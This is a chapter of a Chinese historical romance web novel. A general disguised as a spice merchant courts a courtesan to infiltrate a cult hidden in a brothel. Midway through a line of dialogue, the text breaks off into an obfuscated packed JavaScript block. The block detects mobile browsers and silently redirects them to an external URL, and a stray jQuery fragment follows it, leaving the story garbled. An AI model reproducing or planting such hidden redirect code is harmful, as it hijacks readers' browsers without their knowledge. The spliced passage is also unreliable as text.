2. 第 2 章

三年前,谢庭钰高中状元。


他不留在玉京任职,反而请旨前去凉州平定番族之乱。


此行凶险,皇上十分欣赏他的胆魄,封他为威镇将军,并郑重承诺待他平安回京时必有重赏。


三年平乱结束,谢庭钰与一众同僚、将士返京述职,途径锦州官驿时,县令刘大人前来借兵请查清净门余孽。


清净门是前朝的一个邪教势力,当时被强力镇压,主要人物已经斩首示众,没想到逃散的余孽如今又借机掀起波澜。


只是返京一事也不能耽搁,商议之下,平阳侯世子柳世宗、威烈将军陈润文、南安郡王之孙姜子良带着大部队先行返京,留谢庭钰与五百将士在锦州协助刘大人剿灭清净门余孽。


他带着一支十二人的精锐小队乔装打扮成售卖香料的商队,租住在河阳镇的仁清巷,其余人等则扎营留守在郊外,听候下一步指示。


他与刘大人齐心协力,很快就查到了醉花楼。


谢庭钰看着手中的玉露膏略微皱眉,随后在心里为自己开解:这一切都是为了要事而有必要进行的人情往来,并非文人笔下的男女之情。


申正一刻。


“还请姑娘看看这花笺上的诗,是否合衬弦香姑娘的心意?”


谢庭钰将花笺递给弄琴,暗暗打量了一番她今日的装束,粉衫绿裙双垂髻,与醉花楼其余婢女妆扮无异,脸上的伤口还泛着猩红色。


弄琴并未留心他今日穿着,伸手接过花笺却不看,只笑说:“我没读过书,不识几个字。不过,公子一瞧便与那些个俗人不同,作的诗必定十分好。”


“姑娘抬举了。对了,”他从茄袋里取出一只白瓷罐,“这玉露膏是皇室贵族的爱用之物,愈合伤疤有奇效,待伤口结痂后每日涂抹,七至十日后,肌肤便可恢复如新。”


“想以此药同姑娘换一份醉花楼的香料采买单子,若我能与醉花楼签下采买协议,还将报答姑娘五十两白银。”


他将白瓷罐递到弄琴面前。


她眼前一亮:“当真?”


“君子一言,驷马难追。”他知道她爱财。


她将他手上的东西都接过来。“好。公子先去暖香厅等好消息。”


弦香房内。


林妈妈笑眯眯给弦香添茶——上好的明前龙井,小心地开口:“香香,已经一个月了,还没有遇到合眼缘的公子吗?”


多层银莲花型香熏炉弥漫的缭绕香烟与氤氲茶雾交融在一起,一张风情韵致的脸在朦胧中隐现。


弦香慵懒地斜倚在紫檀木嵌玉美人榻上,手里把玩着一把白玉雕花折扇,百无聊赖地说:“俗人,都是些平庸至极之辈。”


叩叩叩——


弄琴的声音在厢门前响起:“弦香姑娘,新的一批贵礼和花笺送来了。”


还未等弦香答应,林妈妈先兴奋道:“速速送来。”


弄琴稳当地端着木托踏入厢房。


林妈妈问:“今日可有些能看的?”


弄琴回答:“有位做香料生意的李旭公子不错,模样比其他人要好。”


弦香呵笑起来,笑她:“你便只会看男人的模样。”


“罢了。”弦香收了玉折扇,施施然地坐起身,伸出白玉一样莹润的手,“将他的花笺拿来我看一看。”


弄琴拨开那叠花笺,将谢庭钰的花笺抽出来递过去。


弦香把眼一瞧,了不得,好亮眼的一幅墨字,隽永刚劲,笔锋温润,再一读那诗:


《花月词》


今夜瑶江映月朗,


流光浮舟春色漾。


对酒当歌心阔明,


弦落桃花香也清。


弦香登时喜不胜收,细细读了几遍,越读越喜欢。


尤其是那心境阔明、弦花香清的诗意甚合她意。


弄琴见了弦香的神情,旋即将红锦盒打开,补充道:“这是李公子赠予姑娘的西海粉珍珠。”


弦香看着满心欢喜。


林妈妈也跟着高兴,将她的玉牌找来问她:“不如请李公子前来厢房一叙?”


弦香连忙示意弄琴:“快去请李公子。”


弄琴:“是。”


锦州此地崇尚“丰腴之美”,似弄琴这种如杨柳纤瘦的,多被人忽视,似绣月那般丰姿鲜妍的备受追捧,而似弦香这类容貌骨相皆一等的娇姿艳态的美人,真是为求见一面,愿掷千金银。


故此化名为“李旭”的谢庭钰一见弦香,便道:“腮凝新荔貌如玉,牡丹羞愧弦香颜。”


一开口就哄得弦香双颊飞红云。她声娇语细地请公子入座,接着吩咐:“秋云,快给公子奉茶。”


随后二人论古说今,品茗下棋,相处好不愉快。


离开前,谢庭钰递给弦香一只精致小巧的镂空飞鸟葡萄纹香囊,并说:“这里头装着的香丸是专供皇室的玉迦香,我有些门路,特地取来一只送赠佳人。”


听他提到“玉迦香”,弦香立刻探身取来,放在鼻尖轻嗅,闻之香味醇柔浓郁,给人一种深寺敲幽钟的宁静之感。


弦香打开香囊,见里头的香丸如大豆大小。


她心思百转,将香囊小心合上。


这时再看他,她的眼神里有了不一样的意味:“听旭郎方才言语,手中还有玉迦香?”


谢庭钰回:“明日与弦香再会时,知无不言。”


她低头一笑,笑他倒是自信明日自己会见他。不过……她的确是越看他越满意。


细心收好那只造价高昂的香囊,她站起来走到他身侧:“弦香送旭郎一程。”


之后,谢庭钰隔三差五就来醉花楼寻弦香。


这日正巧下雨,竹竿似的雨铺天盖地落下。


弦香和“李公子”正坐在亭台前下棋。


红泥小炉烧着山泉水,秋云用厚布帕盖在提手上将其提起。


沸水滚茶,鲜浓甘润的茶香溢满整个厢房。


秋云才给二位斟好茶,厢房的木门就打开了。


弄琴缓步走进门,将手上端着的一只斗大的汝窑花囊搁在黄花梨木花几上。


秋云放好紫泥茶壶,略带抱怨地质问弄琴:“今日的花囊怎的才送来?呀,还只有一朵白花。”


秋云不满地走上前:“弄琴,平日里我们姑娘可待你不薄,你倒好,婵玉姑娘不过送了你一柄玉梳篦,你就一大早巴巴地端着满瓶鲜花送她屋里。”


弦香捏着黑子,目光落在黑白交错的棋盘上,听着秋云的质问,不搭腔也不阻止。


谢庭钰抬眼望向话音处,透过影影绰绰的湘妃竹帘,看见那个粉衫绿裙的身影。


面对秋云的指摘,弄琴不慌不忙地解释:“前月孙花匠新栽植的雪月芍药准备开花,林妈妈早早以弦香姑娘的名义定了一枝。等到今日才开了花,挑来拣去,也只一朵好看。一路小心护送,未正左右才送到。”


“花与花自有不同。奴婢斗胆认为,茂盛的绿衬托独一无二的花,才好献给姑娘。”


弦香这才轻笑出声,将指尖的黑子落在棋盘一格处,脆声道:“拿来瞧瞧。”


竹帘掀起,弄琴垂眸捧着花囊走上前。


弦香转头一看,果真清新雅致,白玉似的芍药温润娇婉,美不胜收。


弦香笑问公子:“旭郎以为如何?”


谢庭钰看向放到圆桌上的花囊,脑海里回忆的却是昨日暮时瞧见的场景——


有名丫鬟拦下弄琴,要她明日一早将各色鲜花都送到婵玉姑娘房内,并且不许别人的花类超过婵玉姑娘。


摆明要挑战弦香的地位。


弄琴倒是面不改色,沉吟片刻就说要二十两才能成事,否则只能请教林妈妈的意见了。


对方自然不想闹到林妈妈面前,爽快地掏出二十两递给她。


等那丫鬟走了,她取出一盆开得正好的芍药,只留下最好看的一朵,接着将其他的花头都剪了下来,碾碎后埋到美人蕉树下。


再一对比她方才所言,谢庭钰浅浅一笑,并不打算拆穿她。


“绿芜迎白玉,众星捧


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147873|164754||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


皎月。”他回头看向弦香,“独一无二,十分特别。”


弦香笑得合不拢嘴,扬手让秋云取了一串珍珠岫玉吊坠赏给弄琴。


谢庭钰端起棋盘旁的六安瓜片茶轻呷一口,顺势瞟了一眼平静地接过吊坠的弄琴,心道:左右逢源两头吃。还是个机智圆滑的姑娘。


他离开时那雨还在下着,刚走到前门,弄琴就追上前送来一把墨绿色油纸伞。


“这是弦香姑娘让奴婢送来的伞。姑娘还说雨天路滑,公子一路小心,平安归家。”


她将油纸伞给过去时,还悄悄地将一张叠了几叠的纸递过去。


他一并接过:“替我谢过弦香。”


弄琴正要应答,又听他问:“玉露膏可在用?”


他瞧见她脸上的伤口结痂了,正是用玉露膏的时候。


“在用的。”她朝他作揖,“公子慢走。”


客客气气,待他如这醉花楼的每一位客人一样疏离。


他望着已经走进暖香厅的人,顿觉胸口积了一口闷气,咽不下去也呼不出来,心绪形同这阴沉萧索的天气。


回到仁清巷的宅子里,谢庭钰展开她送来的纸,果真是醉花楼的香料采买单子。


其实那单子他早就有了,让她取来,也不过是再见一面的托辞。


这时,一身家丁装束的良将曹子宁把收集的线索呈交给他:“这是筛选出来的人员名单。”


一份关于清净门的名单。


清净门以门人佩戴熏香的稀有程度来划分门内等级,因此需要大量购置几种特定香料。


为了避免引起官府怀疑,他们隐藏在醉花楼中,这样即使购入再多香料,也不易被人察觉,还能借着醉花楼的鱼龙混杂大作买卖,疏通各行门路。


因此拿到醉花楼的香料采买单子和各屋姑娘惯用的熏香品类,就能推算出现在醉花楼有多少清净门的人。


说到熏香,就不得不提“玉迦香”,这本是门主理应拥有的熏香。


只是玉迦香本就稀有,成为皇室专供后,民间更是难得一见,所以现在的门主没有玉迦香,只能用略次一等的沉水香代替。


谢庭钰想要快速探入清净门内部,最好的办法就是让他们知道他的手里有玉迦香。


最稳妥的方法就是从弦香入手。她是门主的人,专为他物色能人异士,地位崇高,连林妈妈都要看她的眼色行事。


弦香十足谨慎,谢庭钰估摸着还得陪她演上一阵子戏。


没过几日,由林妈妈出面,说要跟他谈一笔香料生意,他欣然接受。


跟刘大人商议后,二人就将事项一一吩咐下去。


接着他拿上五十两,找到弄琴面前。


“这是先前答应过的五十两。姑娘收好。”他将钱袋子给过去,发现她脸上的伤痕已经没了,可见有在好好用玉露膏。


弄琴微笑着接过钱袋子,朝他说了几句“生意兴隆”、“财源广进”之类的通俗吉祥话,就推着装满新进的草木盆土的木车告辞了。


见她毫不留恋地离开,他的心里莫名其妙地浮起一股怅然若失的情绪。


但想想,二人的交集本该到此结束,他们本就不是同路人。


他不过是一时兴起,现在也该收心结束了。


他往与她相反的方向,离开醉花楼。


*


绣月房内。


“如何,打听到了吗?”绣月倾身去问踱步赶来的桃杏。


桃杏点点头:“打听到了。原来那位李公子与弦香姑娘好上了。”


“怪不得……”绣月颓唐地靠在乌木圈椅上唉声叹气,“罢了。这醉花楼里,谁敢让那棵摇钱树不高兴。婵玉都被林妈妈敲打了一番。——都进展到哪一步了?”


桃杏:“还在喝茶聊天呢。”


绣月拍掌笑起来,随后讥讽一句:“就她的身子金贵。”


“姑娘!”桃杏紧张地示意她隔墙有耳。


绣月“哼”了一声,到底不敢放肆,就没再继续往下说了。